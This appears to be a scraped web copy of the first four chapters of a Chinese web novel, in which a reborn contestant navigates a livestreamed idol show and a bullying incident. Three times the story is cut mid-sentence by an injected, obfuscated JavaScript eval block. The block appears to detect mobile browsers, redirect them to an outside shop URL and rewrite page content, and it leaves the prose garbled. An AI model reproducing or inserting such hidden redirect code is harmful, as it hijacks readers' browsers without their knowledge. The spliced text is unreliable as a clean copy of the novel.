《直播潜意识选秀真善美之巅》 1. 第 1 章 剥开完美皮囊,直面无处遁形的真实: 这是一次全民参与的“造神选秀”! 我们将在四栖全能的残酷考核中,开启史无前例的【潜意识】灵魂筛选!400名少年,在此刻向着“真善美”之巅,发起挑战! 虚假人设已死。王座之前,生杀予夺,皆在一念之间! ——你,准备好了吗? 《潜意识选秀》概念片宣传导语 * 日落时分。 橘红色残晖飞速消融,海浪翻涌,洒满了细碎的金光点点。 时遥站在一块高耸的礁石顶端。脚下,万顷波涛撞击着岩壁,在退潮时发出沉闷的轰鸣。 临海栈道正沿着蜿蜒的岸线向前延展,灰色的二层宿舍楼群矗立于暮色中,窗户映出海面惨白的浪花,像一排沉默的监视者。 十米开外的西海-B栋,一名浅蓝色训练服的年轻人,正吃力地顶着风撑开门,拖着个巨大行李箱往外挤。 他的头发被吹得乱七八糟,看起来分外狼狈,身后还跟着两个同款训练服的舍友。 三个人说着话踏上金属栈道,声音被海风裹挟,一路刮进时遥耳中。 “...现在的网民真是闲得慌,屁大点事就闹得满城风雨,谁青春期的时候还没做过点离经叛道、为爱疯狂的事儿啊?”陈嵩民恼怒地抱怨。 “我没有。”何安霖说。 “我也没有。”冯邵元说。 “......” 尴尬又不失礼貌的沉默里,只余下行李箱轮子碾过格栅的撞击声。 一道清亮音色倏然递到耳畔:“这种共鸣你也是真有脸找啊。” 三人抬起头,声音的主人正迎面走近。 他半面沐浴霞光,身姿舒展,影子斜拉,一路没入海浪里。 “你说什么?”陈嵩民本来就烦,瞧见这位把自己秒成泥点子的女娲毕设,语气便更冲。 “我说错了吗?”时遥轻嗤一声,“高一让初三女生怀孕,不闻不问害人退学,又把下作事当谈资到处宣扬,这算哪门子‘为爱疯狂’?你还搁这儿委屈上了?” 冯邵元挤眉弄眼地给时遥比了个大拇指。 陈嵩民被噎得说不出话来,只能埋头继续往前走,遭遇现实毒打后,他已没有了初见时傲慢自大的姿态。 时遥信步跟上,视线右下角仅他可见的密集弹幕刷过,就抽空瞥了一眼。 【怼得好!】 【没错!下作!】 【陈嵩民是后悔不该说漏嘴,不是认为自己做错了!】 【98.8%的观众投票要求他退赛,这支持率是谁的一辈子?】 【这种人就该身败名裂,不得善终!】 时遥收回目光,海风将头发吹得凌乱,他顺手往后拢了拢。 几天前,他回来了。 回到二十二岁参加选秀节目的重要时间点,原因不明。 当下社会,关键词娱乐至上、男色时代、全民选秀。 饱暖思淫欲。 科技水平在近三十年间突飞猛进,衣食无忧已实现全面覆盖,全民娱乐时代真正到来。 但是—— 传统的选秀模式已无法满足观众日益严苛的审美需求,尤其是近年来偶像“塌房”事件频发,大众对商业化包装出的“人设”产生了前所未有的信任危机。 为此,顶级互联网巨头矩阵传媒,邀请400名心怀明星梦,年龄在17到24岁的年轻男性,启动这场名为《潜意识选秀》的节目,意在选出真正承载“真善美”特质的国民级偶像。 选手的身高、体重、个人经历、人际交往,甚至社媒帐号内容和重要考试成绩,都会作为谈资或评判依据,出现在官方讨论界面。 长得不够帅?筛下去。 个子不够高?筛下去。 身材不够好?筛下去。 有黑历史?立刻!马上!筛下去! 除非被证实是有预谋的恶意陷害,否则一旦有半数以上观众投反对票,选手就会被直接取消参赛资格。 一天前,北雾区有个容貌出色的练习生,被扒出高中期间同时交往两个女友而退赛,现在名字还挂在热搜上遭万人唾弃。 陈嵩民的旧事本会烂在岁月深处,毕竟女孩没说出他的名字就远走他国—— 谁曾想,上午的试点直播里,他两口酒下肚,和周围人一通吹嘘,大谈当年的“光辉事迹”,在网上掀起了轩然大波。 消息确认属实的当天下午,也就是现在,节目组以“在练习生中造成不良影响”为由,通知陈嵩民立刻打包滚蛋。 “还让老子越快越好,像我是什么病毒,会传染你们似的...”陈嵩民嘟囔着。 何安霖和冯邵元偷偷交换着视线。 时遥突然说:“从前有个女孩,她的男友品行恶劣,尤其擅长冷、热暴力和pua。” 陈嵩民脚下一顿,没懂他在说什么:“你说啥?” 时遥:“那女孩精神状态变得很差,男友还借故和她分手了。” 冯邵元:“这,这么坏的吗?那再后来呢?” 时遥:“再后来那男友死了。” 他在鸦雀无声中,又若无其事地补充了一句:“死得很惨哦。” 陈嵩民:“......” 冯邵元:“......” 何安霖:“......” 毛骨悚然。 弹幕已经笑成一片。 【时遥:你猜我在内涵谁?】 【好平淡的语气,好凶残的话!】 【死~得~很~惨~哦~】 半晌,冯邵元讪讪地问:“这么,这么简单粗暴的吗?怎么死的?” 陈嵩民心道不对,刚想出言讽刺,时遥却突然转过脸,目光如电,倏地锁定了他。 “——感染了HIV,病毒持续损害CD4+T淋巴细胞,导致免疫功能严重受损,最后死于机会性感染。”时遥紧盯陈嵩民的眼睛,一字一顿、如同宣判,“总之,身败名裂,死前很惨,死后还是不得安生。” 陈嵩民眼角一抽。 前半段他没理解,后半段听是听懂了,本该不屑一顾,可对方的神情不带半点虚张声势,简直像未卜先知,在一字不差复述他的下场。 接下来的一段路,脑袋里反反复复的全是那段话,搅得人心神不宁。 离开前,鬼使神差地,陈嵩民又看了时遥一眼。 对方特地跑来送行绝对不是出于善意或不舍,四目相对,他看到了满眼咄咄逼人的警告之色。 好像自己是个刚刑满释放的犯人,狱警送他离开监狱前冷酷地要求他“洗心革面、好好做人”,再敢犯只有死路一条... 陈嵩民面部肌肉颤了颤,不敢多想,拉着行李箱头也不回地逃离了基地。 时遥缓缓放下抱臂的双手。 这个不安因素终于拔除了。 他刚才可没危言耸听,陈嵩民真的会在三年后感染HIV,年纪轻轻撒手人寰。 不过时遥并不在意他的下场。 他特地在直播开始后,状似无意撩拨了三两句,是为了让这匹害群之马被提前“出局”: 那时陈嵩民本性暴露,把往事和盘托出,观看人数暴涨,审判弹幕霎时刷到飞起。 时遥则转身就走,深藏功与名。 上辈子陈嵩民那桩涉嫌骚扰选管的破事自然不会再发生,西海A至D栋,包括时遥在内的十一名练习生,也就免遭了被他连坐的无妄之灾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600709|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 皆大欢喜。 “啊,排名开始刷新了!” 何安霖的声音响起。 时遥循着他手指的方向看了一眼。 在合宿基地的正中央,耸立着四面悬挂的巨幕,朝着他们的这一面上,姓名、名次和票数不断滚动,每隔一小时根据全民投票同步更新结果。 出道位内的2至10名都是醒目的红色描边,高居榜首的第一名,则是耀眼的金色。 【时遥。】 【区域:西海。】 【实时排名:1位。】 【累计票数:47,203,819票】 照片上的他下颌微扬,眼尾线条华丽地向后横曳,抛出居高临下的俯瞰,嚣张地支撑起整张脸的攻击性。 任下方风云变幻,他自岿然不动。 【拜见傲慢哥!】 【傲慢哥昨天一张照片直接把社媒帅瘫痪了!】 【帅是一个字,也可以是两个字!】 【我眼泪哗哗流,多少年没吃这么好了!】 【对这张脸说不出一句重话!】 【答应我一定做个善良的人好吗时遥?颜狗这么多年除了二次元就看上过你这一张脸,你必须出道!】 刚才还在怒斥陈嵩民的弹幕画风骤变,成了舔颜狂欢局。 ——节目还没正式开播,也仅仅试点了几场直播。 可这叠了各种buff的“全民造神运动”,早已掀起了国内外的狂热气氛。 何安霖盯着时遥那张遥远的静态照半晌,又扭头端详身边的实物。 从小到大当了十多年校草的他也没料到,居然会有这种帅到让人胆颤,忍不住看了又看的同性出现。 “时遥,你帅得好繁花锦簇。”冯邵元在何安霖走神时,坦言真实感受。 时遥:“麻烦你解释一下这个词和‘帅’有什么关系?” 冯邵元试图解释:“就是一种感觉,我觉得你根本不像活在三次元的人类。” 时遥勉强提了提嘴角。 他确实不确定现在的自己算不算“活着”,在残存的记忆里,他说不定真的“死了”。 排行榜还在实时进行着残酷的洗牌。 原本在一百五十几名的陈嵩民,更是直接落到底部,照片印上了宣布淘汰的【OUT】标识。 与此同时,一连串崭新的姓名破开重围,不少人的位次急坠而下。 “差点都忘了!剩下100个人来了!”何安霖一拍大腿。 合宿基地以自然元素为基准,按东西南北四方排布,均分为四个区域。 节目试播期间,每天向外公布一个区域的练习生,一小时后全员投入票池: 北雾区最早,而后南岩区,昨天轮到时遥几人所在的西海区,今天则是最后一区,东森区。 在这场稍显混乱的更迭中,一个名字以极其离谱的涨幅一路攀升,直线闯入了前10。 在定格于第9位的瞬间,普通的灰色边框猝然亮起,转变为代表出道位的红色。 “哇噻,这么猛?” 何安霖惊呼连连。 一边感叹,他一边念出照片旁那个人的名字。 “路、和、光?” 防风灯柱在骤然喧嚣的风中,发出微弱的嗡鸣声。 时遥死死盯着那个名字,脑内翻江倒海。 他得以重生,通晓未来,在潜意识进入此场景后,亦是练习生中唯一的清醒者。 不仅没有失去自我控制权,沦为本能的奴隶,还坐拥洞悉直播、弹幕与论坛的上帝视角...说一句掌握足量的“金手指”也不为过。 可是,这种先知的无往而不利,此时出现了微妙的失衡。 ——他不认识这个人。 2. 第 2 章 节目的初始练习生有400人,是目前选秀界的人数天花板。 大家被官方分散至四区,再加上因德行有亏被观众票选出去的,第一轮舞台关都撑不过去的,过于边缘化或与时遥毫无交集的... 许多人还没来得及混个眼熟,就此生不复相见。 可这个叫做“路和光”的东森区练习生,那张脸实在令人过目难忘。 时遥忍不住又抬头看了一眼。 眉眼漾着春水、唇角暧昧噙笑,尽显温柔多情。 可细看去,对方的视线压根没有落点,只空洞地、漫无目的地遥望不可触及的远方。 这张照片,也恰好将他封存在那一刻。 【刚才官网上有个姐妹锐评:这哥长这么帅,笑容这么荡漾,怎么公式照越看越像…那种挂在墙上的?】 【传说中的笑不达眼底,就是这个感觉吧?】 【“遗照哥”会不会不太吉利?】 【现在说说就算了,过阵子死忠粉正规军培养出来,你们有一个算一个都要被骂死~】 【不如根据画风赐名“迷茫哥”,和“傲慢哥”正好配一对!】 观众匿名观看,自然口无遮拦,什么都敢往外说。 时遥本来只是用余光关注弹幕,试图找出点关于此人的蛛丝马迹,瞥见这几条内容,他手指骨节“咔哒”一响。 “怎么了时遥?” 时遥:“没事,也好。” “什么也好?”何安霖没懂。 时遥摆摆手,他看了眼时间,拒绝了两人一起晚饭的盛情邀请,果断地转身离开。 “你还要去哪里?不吃饭了吗?” 时遥:“我去东森区吃。” 其余两人:“......” 冯邵元难以置信地追问:“你认真的吗?东森区的食堂离这儿超级远啊!” 练习生合宿基地坐落于依海而建的偏僻地带,形状从地图上来看并不规则: 东、西两区分别占据了岛屿最遥远的两个极端,跨度远远超过南北方向,实际步行距离超过2公里。 所以,除非别有目的,极少有人愿意长途跋涉,去不属于自己的地盘——尤其是临开赛前紧张的训练之余。 时遥:“我慢跑去,要不了多久。” “你去那里干什么?他们有什么‘东森区特供’美食吗?” 时遥回忆起刚才弹幕上的内容,心思百转,举起手往大屏方向遥遥一指。 “我对那个人有点好奇,打算先去看看他。” 他的两位隔壁宿舍邻居迷惑地看过去:“谁?” 时遥:“那个直接冲到第九的,路和光。” 大众一向沉迷于从互动中“解读”出最心动的那种,但凡需要互动的群像,自然会衍生出各式各样的关系,密密编织出人际关系网,“cp”在这张网上更是不可或缺—— 冯邵元:“怎么突然关注起了路和光?” 时遥敷衍地:“脸帅。” 何安霖:“这么浮于表面的吗?” 时遥:“难道我还能通过一张公式照,看清他水晶一样清澈透明的心和拾金不昧的优良品质吗?” 冯邵元:“有,有道理。” 某种程度上,选手人气和cp互为因果,无异于突围的作弊器。 时遥自然清楚,也并不避讳。 他想在练习生之中挑选一位卖腐对象、cp搭子,创造故事线的同时,也丰富人设,为自身人气添砖加瓦。 但吸取了上辈子的教训,他必须确保自己和对方在各方面“门当户对”,不管路和光此人究竟是从哪儿冒出来的,颜值一项确实无可挑剔,剩下的有待考察。 三人原地解散,分道扬镳。 待时遥抵达东区,已临近六点半,试点直播也早已关闭。 与海区那种冷冽且清爽的流动感不同,这里密林层叠、绿意盎然,气温明显高出几度。 温热的草木香徘徊在鼻息,有梅花鹿静悄悄立在树荫之中,湿漉漉的眼睛好奇地冲他张望。 食堂坐落于一段斜坡上,背后一棵参天古木,大片的浓绿压在屋顶,遮天蔽日。 正值用餐时间,深绿色训练服的东森区练习生们三五成群地出现,在他们之中,一身浅蓝的时遥就显得格外突兀。 “那不是西海区的吗?怎么跑这儿来了?” “衣服颜色比我们好看多了,可恶!” “哇他长得好帅...” “那就是时遥!目前排第一的那个!” 议论从四面八方传来,毫不遮掩,时遥习以为常地继续往前走。 蓦地—— 时遥停住脚步。 他猛然回望,视线尽头是从食堂三层探出一截的露台。 深色的金属栏杆被几条粗壮的蔓藤攀附缠绕,此时那儿空空荡荡,树叶在疾穿的风中颤抖,仅剩一点灯光,融染出暖调的昏黄。 但感觉不会错。 刚才有人,正站在那个视野尤其好的高处俯视他。 那视线的穿透力极强,堪称肆无忌惮,如有实质般扎在身上,好似要把他钉穿。 只是这窥探消失得太快,来不及抓住分毫。 这不是第一次了。 从进入基地开始,它就如影随形,裹挟着一股黏稠的探索欲,沿着时遥的脊椎一路往上攀爬。 时遥原本就对他人的注视极度敏感,每次都会被激起一身的鸡皮疙瘩。 可迅速转身看去,视线尽头却空空如也。 这种绝对来自未来竞争对手的凝视,时遥将其视为最嚣张的挑衅。 正值晚餐时间,正门楼梯人流密集,内部货梯运行缓慢,需要后勤卡方能刷开,剩下的只有... 时遥径直冲向露天的消防逃生梯,金属梯扶手在掌下成了借力的支点,不过几秒,他已轻盈地翻身跃入露台。 原本几个跟在他身后的练习生目睹了他连跨带越,把自己甩过每个转角的全过程,瞠目结舌。 “快看!是轻功!” “长,长按空格直接起飞?” “那哥们儿舞蹈一定很强!” 通往露台的门半敞着,只留下一道窄缝。 残留的风在此打了个转,时遥用力嗅了嗅—— 花叶烘烤后的气息,暖甜带苦,和森区配适度拉满。 只是来不及进一步辨别,就被吹散了。 * 东森区的食堂比西海区稍小,同样遵循营养选择的“红绿灯”用餐系统。 绿灯菜品主要用于维持身材,但难以愉悦味蕾,比如时遥面前的这只小小立牌,正嵌在对应菜品前的卡槽里: 【菜品:低温慢煮鸡胸肉 关键营养:高蛋白、低热量、低碳水 推荐语:纯净的增肌补给】 推荐语的末尾还添加了一个秀肌肉的emoji。 隔壁就是黄灯区。 旁边的练习生在糖醋藕片和蒜苗炒肉中艰难地抉择了一番,选了前者,看着后者的眼神恍若生离死别。 时遥拿起鸡胸肉,端着全绿阵容的餐盘,随意找了个空位坐下。 节目组把每一口热量都标明了代价,但架不住总有人心存侥幸、选择放纵。 隔壁桌上,交通信号灯的红黄绿三色碗碟交错,红色甚至隐隐占了上风。 他夹了一筷子西兰花,对方也已经爽吸一口奶茶,紧接着一勺子舀起红烧肉。 酱汁浓稠,透出诱人的琥珀色光泽,丝缕肉香急切地钻入鼻腔。 红灯菜品,“油糖”二字足以概括,对有上镜需求的练习生而言,无异于增加负担。 全息世界可以模拟让人垂涎三尺、色香味俱全的食物,同样能遵循早就记录在案的个人代谢数据,把食欲的后果如实反馈在身体变化上。 ——面部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600710|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮肿、爆痘和身材走形,长胖的副作用也会如实展现。 有人发出愤怒至极的咆哮:“我真是服了这个西红柿炒鸡蛋也是红灯菜的世界了啊啊啊啊!” “算了算了。”他同伴习以为常地安抚,“毕竟选管说了,这道菜的厨师口味偏甜,习惯放两大勺糖,还会加致死量的番茄酱...” “我只是一个想吃西红柿的小男孩我有什么错!” “好了好了发泄完赶紧吃吧,还要练习呢。” 时遥咽下清淡的西兰花,目光在食堂内逡巡一圈。 没有他想找的人。 路和光那个等级的长相,只要站着就是宣战,绝无低调行事的可能。 这么想着,时遥转身看向还在纠结西红柿炒鸡蛋的两名练习生:“你们知不知道路...” “啪——” “哐啷啷——!” 刺耳的巨响,毫无预兆地在偌大的空间里炸开,也截断了时遥刚出口的询问。 热闹的食堂倏地一静,所有人的目光直直投向出声的位置。 ——“你刚才说什么?” 处于事故中心左侧的练习生个头稍矮,颤巍巍地试图道歉:“对,对不起...” 刚才他在队伍里打饭,前面那人的餐盘里,放了满满当当的水煮肉片、辣子鸡,以及淋了辣油的夫妻肺片,放眼望去红艳艳的一片,找不到半点绿色。 他忍不住和身后同伴小声嘀咕: “哇,红色也太多了吧,吃完就得胖两公斤。” 下一秒,沉甸甸的餐盘被狠狠砸在他脚边,红汁瞬间溅满了运动鞋和裤腿,伴随着刺耳扭曲的噪声。 矮个子白着一张脸,简直快要哭出声来:“我,我就是随口一说...真的很对不起。” “随口一说?!” 砸盘子的高个子压根没打算放过他,他往前逼近一步,丝毫不在意地面脏污浸润鞋底:“我吃完了长不长胖关你什么事?这么喜欢盯着颜色看,要不要我把这盘红的扣在你脸上,让你看个够?!” 空气因突发状况变得粘稠。 周围的人噤若寒蝉,矮个子练习生的同伴,也正连连后退,试图与对方拉开距离。 时遥又夹了块鸡胸肉放进嘴里,没滋没味的,心情都变差了。 重生前的选秀之后,他认真研究过节目的所有影像。 虽然大家都是以潜意识参加选秀直播,但并不意味着练习生们会直接变成被原始欲望驱使的“动物”。 哪怕要放飞自我,大部分人也不会立刻脱掉衣服在街上裸.奔。 某些外露的特质,需要言语或行为引导: 潜意识里的“真实”会被不同的状况激活,而相同场景下,被激活的情绪种类也不尽相同。 比如现在。 放眼望去,众生百态,被放大百倍毫无掩饰地—— 悉数呈现。 暴怒的、怯懦的、恐惧的、试图置身事外的、面露不忍的、幸灾乐祸看热闹的...每个人都不同程度地被诱发出了本质,明晃晃挂在脸上,压根不会,也不能掩饰。 “张皓文也敢嘴,啧啧啧。” “听说他当过《拳脚》剧组的武替!学的是实战锁喉!” “如果打起来会双双退赛,不就少了几个竞争对手吗?” “喂喂!让我看看是哪个蠢货?” “余斐,东森-F的,我邻居!” 时遥筷子一顿。 上辈子,东森区赛前发生过一起极度恶劣的集体霸凌,受害者从三层跌落窗下水泥地,身上多处骨折,内脏亦受损。 身处全息世界,损伤只是表象,但严重影响已经造成—— 霸凌发生于试点直播期间,八位数观众实时见证了全过程,无处遮掩的恶意完整呈现,远超出节目效果的边界,《潜意识选秀》差点因此胎死腹中。 那位受害者,就叫做余斐。 3. 第 3 章 【公告】第四轮试点直播开启 《潜意识选秀》节目第六轮试点直播,于6月10日10:00开启,11:00结束,为时一小时。 本次试点区域:东森区训练中心。 特此公告。 * 东森区的六月充斥着蝉鸣的噪音,远不如西海区凉爽宜人。 余斐被逼到了厕所最内侧,背脊紧贴着身后墙壁。 左侧是一排便池,右侧是扇半开的通风窗,闷热潮湿的空气不断渗入,让人心浮气躁。 “哗啦——” 一股巨大的力量从肩侧传来,他背上的书包被人猛地拽下。 运动鞋从侧袋被翻出,保温杯的盖子在争抢中滚落,里面的热水流淌出来,蜿蜒着爬过瓷砖缝隙。 余斐知道现在的遭遇是因为什么。 但一直到十分钟前,他还傻乎乎地认为,昨晚在食堂里发生的那场冲突,已经随他低声下气的致歉宣告结束了。 这想法现在看来过于天真,张皓文和他的拥趸可没打算放过他。 “哎,你这小子昨天在食堂的时候说了什么,还记得吗?” 余斐的嘴唇嗫嚅着,下意识想再次为自己之前说过的话道歉,却又清醒地意识到,这些人不会善罢甘休。 “对,对不...” “不用道歉呀,只不过既然你这么关心红色——” 张皓文从兜里摸出几包从食堂顺出来的番茄酱,然后在余斐惊恐的注视下,将其挤在了隔壁便池的内壁上。 他眼神阴鸷:“会让人胖两公斤是吧?那是吃法不对。” “去,我教你个新鲜的——把它舔干净。” !!! 余斐的耳膜嗡然作响,恐惧让大脑一片空白。 “怎么了呢,一脸哭相是不愿意吗?” “你得拿出身为练习生的专业态度来,就当是为未来的表演考核做个预演啊,是不是?” 周围的人发出一阵不怀好意的哄笑声,与污言秽语交织: “要我说这厕所就是太新太干净,哪配得上咱们‘体重监督班长’啊!” “要不你上去再尿一泡?” “滚蛋,老子可不想在这个小白脸面前拉开裤链!谁知道他...” …… 浓稠的红色,顺着瓷面缓慢爬行出刺目的痕迹,最终坠在孔洞边缘——番茄酱工业香精的甜腥味,与室内净化香薰的冷香极不协调地搅在一起。 反胃的作呕感呼啸而上,从喉咙灼烧到鼻腔。 反抗吗? 他不敢。 能逃跑吗? 厕所正门已被反锁,仅剩一扇半开的窗。 哪怕外面是十米高,硬邦邦的水泥地,那一秒在余斐心里,居然也比这个作恶的空间自由。 见对方迟迟没有动作,张皓文的耐心终于耗尽。 他往前两步,一把薅起余斐的后领,拎小鸡似的把他猛地提起,就要往便池里摁。 寒光乍现。 几乎擦着张皓文的手背而过,避险本能令他下意识松手,猛地往一侧避让。 可下压的力道根本来不及收回,身体瞬间失去重心,他踉跄着往后栽倒,幸亏被同伴死死撑住,才没当众摔个四脚朝天。 “当——!” 一柄折叠刀与地面相撞,发出清脆声响,随即擦着地砖疾速滑行,激起一串刺耳的摩擦声。 失去束缚的余斐后颈一空,他顾不得身上钝痛,手脚并用、连滚带爬地去往更远处的墙角,整个人狼狈地缩成一团。 树叶沙沙作响。 窗外恰好有棵老槐树,粗壮的横枝一路延伸到三层窗台边。 在所有人的悚然注视下,一个身影跨过窗框,轻巧地跃入,他往前走了几步,弯腰拾起折叠刀,将刃片“咔哒”一声折回。 光线在他左耳侧凝成一线,薄且锐,来自耳下晃动着的金属环饰。 余斐的视线惊魂未定地在那柄刀和来人之间来回游曳: 好细的腰! 这是第一眼感受。 黑色T恤宽松,被精细的肩线撑住,仿佛稍稍用力,就能折断他的锁骨。 薄而修长的骨架会赋予人危险的欺骗性,从而忽略他手臂覆盖的薄肌,正彰显颇具力量的优美。 张皓文在站稳后,后知后觉感到了恐惧。 “你疯了吗?”他恼羞成怒,声音尖锐得几乎破音,“你居然拿打开的折叠刀丢我?” 要不是刚才躲避及时,那把刀真的有可能重伤他的右手! “这是选秀基地!不是法外之地!你是想在这里杀人吗?!” “哦,原来你知道啊?” 来人目光轻飘飘地兜了个圈,落在他的脸上: “既然知道这是选秀基地,就管好你的手脚,今天躲过去了,明天可不好说啊。” “你再说一遍!?” “皓文,算了算了!”张皓文身后的练习生用力拉扯他的胳膊,见难以制止,不得不凑近了他的耳朵,“他是时遥啊!那个时遥!” “什么时——” 张皓文突然意识到了什么,他的声音硬生生卡在喉咙里,像一只被掐住脖子的鸡。 时遥。 公布后不到三小时飙升至第一,现在还稳居榜首的时遥,这里不会有人不知道他的名字。 在排名就是身份的世界里,没人蠢到去撞对方的枪口,况且本尊看着明显是个不好惹的硬茬。 几人互看着眼色,放下几句似是而非的狠话,这才灰溜溜地散去。 偌大的空间恢复了寂静,余斐感到一束锐利的目光落在了自己身上。 他这才喘着气,小心翼翼抬起头往上看去,一张该用“惊心动魄”来形容的脸,就这么撞进眼球。 绝、世、大、帅、哥。 肤色是低饱和度的苍白,更衬得骨相清简,眉眼浓重。 在这张脸上找不到同情、体恤、安抚...诸如此类的情绪,甚至解读不出多少所谓的正义感,反而带点隐隐的厌倦。 情绪就这么随意地挂着,毫无掩饰。 折合的刀柄在他指间随意地转动,冰冷的金属敲击着凸出的指骨,发出笃笃的声响。 “噗通——噗通噗通——” 从这居高临下的注视里,余斐居然诡异地琢磨出了几分安心,也迟一步找回了急促的心跳。 他迅速开始收拾书包,眼风却不受控制地,一眼没一眼地飘过去: 从这个角度,能看见短裤下一双跟腱长得惊人的腿,线条从脚踝处利落地往上收,将那一截小腿拉扯出笔直、毫无冗赘的弧度。 “...地上的,你还打算蹲在那儿多久?” 这边余斐再度盯到忘我,直到那道声线劈头盖脸砸下,把他砸醒。 他赶紧起身,目光不敢和对方对视,只小声道谢:“谢,谢谢你,时遥。” 只是道谢好像不够,他又声如蚊蚋地补充:“...你的名字很好听,很适合你。” 话一出口又觉得哪里不太对,余斐猛地涨红了脸,两只手疯狂摆动以示清白,生怕对方因此被触怒:“对对对对不起,我我我我没有别的意思,只只只只是想——” “你刚才想跳?” “啊,啊?” 时遥重复了一遍:“我说,你刚才想过往下跳?” 余斐讷讷地点了点头。 时遥用掂量的目光上下打量他,半晌耸了耸肩:“要是真跳了,别说参加选秀,你下半辈子估计都得交代在这儿。” 他走近窗户:“你过来。” 余斐赶紧走了过去。 时遥指了指窗外:“非要从这儿出去,你就翻到树枝上,再顺着树干滑下去。” 他说得轻描淡写,余斐却大惊失色,拼命摆手:“这,这好难啊!” 时遥莫名其妙:“刚才三层楼都想往下跳,现在爬一截树枝,你反倒觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600711|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得难了?” 余斐涨红了脸,想解释一句,却又不知道该怎么说。 时遥见他死活不干,也懒得继续,反正今天这么一出之后,霸凌四人组会被钉死在耻辱柱上,永世不得翻身。 从厕所出来,是东森区训练中心三层的空旷廊道,两侧有供练习生预约训练的隔音练习室,门上的窄条窗内,偶尔晃过练舞的人影。 时遥头也不回丢了包纸巾过去。 “擦擦吧,你的汗。”他说,“还有,你的包在漏水。” 余斐一怔,忙低头去看,才发现保温杯盖在刚刚那场混乱中,还是不可避免被砸歪了,温水正在书包底部缓缓洇开,滴滴答答往下落。 他手忙脚乱把它从书包里捞了出来。 没擦拭多久,他再抬起头,刚才时遥站立的位置已经空无一人。 他一言不发地离开了。 不知为什么,心里居然有些空落落的,下一秒,他发现那里遗落了一张窄长的卡片。 余斐连忙上前将它捡起,轻轻用指腹蹭了蹭其上姓名的黑体字——时遥把练习生名牌落下了。 “时是光阴,遥是远方。” 有人在身后这样感叹: “你也觉得他的名字很动人,是吧?” 余斐吓了一跳,连忙回过头,对上一张含笑却冷淡的脸。 他的个头比余斐高出十多公分,正颇有风度地放低视线重心,维持着某种带有压迫性的礼貌。 “你介意把它给我吗?” 对方又问。 却并不是友好协商的意思。 * 时遥缓步绕过训练中心楼转角,又往上看了看。 作为翻窗助力的老槐树繁茂至极,树冠几乎遮住了半面墙,枝干足有成年男性的大腿粗细。 当时他就坐在粗枝上,距离三楼窗口仅一步之遥,既不会因距离太近被发现,又能透过窗户缝隙看清厕所内的情形。 只耐心地等待着出场的时机。 他垂睫,接着半弯下腰,揉搓了一下脚踝外侧。 那里曾有一条狰狞的缝合疤痕,像丑陋的蜈蚣死死匍匐着,而现在,指腹下的皮肤细腻光滑。 刚才攀上主干、跨步横枝、翻窗入室的过程一气呵成,钢钉嵌入骨头的滞涩、酸胀都没有出现,更别提痉挛或疼痛。 二十二岁,还未受伤的身体是如此轻盈自如。 因伤病与金属纠缠的过往,像一场只有本人知晓的幻觉。 密密麻麻的弹幕正从屏幕右侧往左滚动。 【讲道理,一开直播就看见霸凌真的给我吓傻了。】 【论人性之恶,论潜意识选秀的必要性。】 【都算性骚扰了啊!】 【张皓文、郑睿轩、董完、杨慕辰,都给我去官网投反对票!】 【OUT!OUT!现在就OUT!一秒都看不下去了!】 千百条对刚才霸凌事件感到愤怒的内容里,掺杂着对时遥容貌的溢美之词,以及对他行为的心潮澎湃。 【老公!我命中注定的老公!我踩着五彩祥云从天而降的大英雄!】 【不行了帅到我眼泪掉下来——】 【长这么帅就算了,还这么有正义感!】 以及对余斐的不爽。 【这个余斐看得我一肚子气!哪怕努力反抗一次呢?】 【真想把他也送出去!】 【对啊,余斐能不能也滚!谁想看二十岁的小白花男?】 【时遥教他怎么逃走,他只会摇头?好废物啊!】 官方在观众的热情和讨论欲抵达高潮的时候,掐断了这场原定一小时的直播。 “——喂。” 时遥停下了脚步。 一道低沉声线头顶落下来,嗓音懒洋洋的,又有些不合时宜的轻快: “我很好奇——那时候你明明一直在听着动静,为什么非要等到最后一秒才‘纡尊降贵’地出现呢?” 4. 第 4 章 时遥抬起头。 他的视线沿着老槐树粗粝苍劲的树干一路往上,最终落在三层——刚才他钻进去的那个窗户。 那里突兀地多出个人来。 那人姿态散漫地半压在窗台上,因个头极高,几乎将整个窗口填满。 浮动的树影、横亘的枝干,他的身形被裁切得明暗难辨,好像某种格格不入的色彩错位,同时属于日光与阴影。 时遥抬起手揉了揉耳朵。 这样的高度,刚才的声音依旧清晰,盖过树叶的摩擦,蝉鸣的疯狂,从耳膜上沉沉地碾过,留下一串令人战栗的余颤。 ——声音的存在感,和他本人一样强。 在第一轮唱跳环节,那些主唱,或者rap定位的练习生可以预定“修罗场”了。 这样想着,时遥眯着眼再次看过去。 